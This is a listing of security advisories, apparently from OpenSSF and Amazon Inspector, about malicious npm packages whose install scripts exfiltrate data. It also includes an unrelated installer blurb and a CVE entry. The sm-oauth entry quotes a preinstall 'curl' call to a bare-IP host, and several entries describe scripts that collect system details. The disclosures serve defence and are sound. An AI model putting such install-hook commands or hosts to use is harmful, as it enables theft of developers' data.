Malicious code in kiota-typescript (npm)

This package runs commands in a pre-install script that exfils sensitive data to a attacker-controlled domain. --- Credit: OpenSSF source...

Malicious code in keeper-secrets-manager (npm)

This package runs commands in a pre-install script that exfils sensitive data to a attacker-controlled domain. --- Credit: OpenSSF source...

Malicious code in jupyter-binding (npm)

This package runs commands in a pre-install script that exfils sensitive data to a attacker-controlled domain. --- Credit: OpenSSF source...

installer v14.0.0-rc.7

Overview Installation mql cnspec Scan your target platform Package Information Kubernetes Status Docker Containers: Homebrew: Install.sh: Install.ps1: macOS Pkg: Arch Linux: Installation The easiest way to install mql & cnspec is to use the install scripts. via Shell Script Linux and macOS...

Malicious code in electron-wix-msi-local (npm)

This package runs commands in a pre-install script that exfils sensitive data to a attacker-controlled domain. --- Credit: OpenSSF source...

Malicious code in dracoon (npm)

This package runs commands in a pre-install script that exfils sensitive data to a attacker-controlled domain. --- Credit: OpenSSF source...

Malicious code in com.adobe.cq.core.wcm.components.content (npm)

This package runs commands in a pre-install script that exfils sensitive data to a attacker-controlled domain. --- Credit: OpenSSF source...

Malicious code in charts-e2e (npm)

This package runs commands in a pre-install script that exfils sensitive data to a attacker-controlled domain. --- Credit: OpenSSF source...

Malicious code in api-demo-sample-lib3 (npm)

This package runs commands in a pre-install script that exfils sensitive data to a attacker-controlled domain. --- Credit: OpenSSF source...

Malicious code in api-demo-sample-lib4 (npm)

This package runs commands in a pre-install script that exfils sensitive data to a attacker-controlled domain. --- Credit: OpenSSF source...

Malicious code in aem-guides-wknd-app (npm)

This package runs commands in a pre-install script that exfils sensitive data to a attacker-controlled domain. --- Credit: OpenSSF source...

Malicious code in sm-oauth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 98d60527238d1284ed569a2fa7611ff2b430e1ebfab579f597f42a1eb28f49bc package.json declares preinstall and postinstall scripts that run curl -s http://16.192.173.5/sm-oauth/pre and curl -s...

MAL-2026-14394 Malicious code in sm-apikey-model (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d8e5a8bc4d985b445afbc71bd563bcee445381d2539a7110a0ca53d54b800367 package.json declares preinstall and postinstall lifecycle scripts that invoke curl over plain HTTP to a hardcoded bare-IP endpoint...

MAL-2026-14205 Malicious code in @sarex-team/translator (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0bccb8e95706f8ed3fe0408d43f6e043f6db71126f1951dda76bda7dfcc134e6 The package's install lifecycle script scripts.install="node index.js" automatically executes on npm install and loads lib/core.js. That module reads...

Malicious code in @hzero-front-ui/cfg (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d280060b3d704c67c4a2cc853fde425220e6a3606f71269daa8a9b3e74052f6d package.json declares preinstall and install lifecycle scripts that, on npm install, collect whoami, hostname, current working directory, and...

CVE-2026-73422

creationtimestamp| type| source ---|---|--- 2026-08-12 22:35:16+00:00| published-proof-of-concept| https://github.com/withastro/astro/security/advisories/GHSA-4g3v-8h47-v7g6...

Malicious code in commonweb-flow (npm)

Source: amazon-inspector e116400179d508d6dbe723a75f049d05218e1b019474bca84f2ed62537219572 [email protected] declares its sole dependency linker-event-header-serial as a direct tarball URL on artifacts.yosiroute.com not the npm registry, and npm-shrinkwrap.json marks that dependency with...

Malicious code in merchantweb-lang-cookie-reset (npm)

Source: amazon-inspector 5b095c93acc24b5979596513da816a08ab69de453c893e346f8c825985d3ec0b package.json and npm-shrinkwrap.json resolve the sole dependency packet-table-thread-stream to https://artifacts.yosiroute.com/npm/packet-table-thread-stream, a non-npm-registry host unrelated to the declare...

MAL-2026-13449 Malicious code in merchantweb-lang-cookie-reset (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fff16333aa7ffc7fc2c7decc1458c23b7d89f8caacb5c6129ba76168d08ec4be package.json declares the sole dependency packet-table-thread-stream as a direct tarball URL to a non-npm host...

Malicious code in merchantweb-lang-cookie-reset (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fff16333aa7ffc7fc2c7decc1458c23b7d89f8caacb5c6129ba76168d08ec4be package.json declares the sole dependency packet-table-thread-stream as a direct tarball URL to a non-npm host...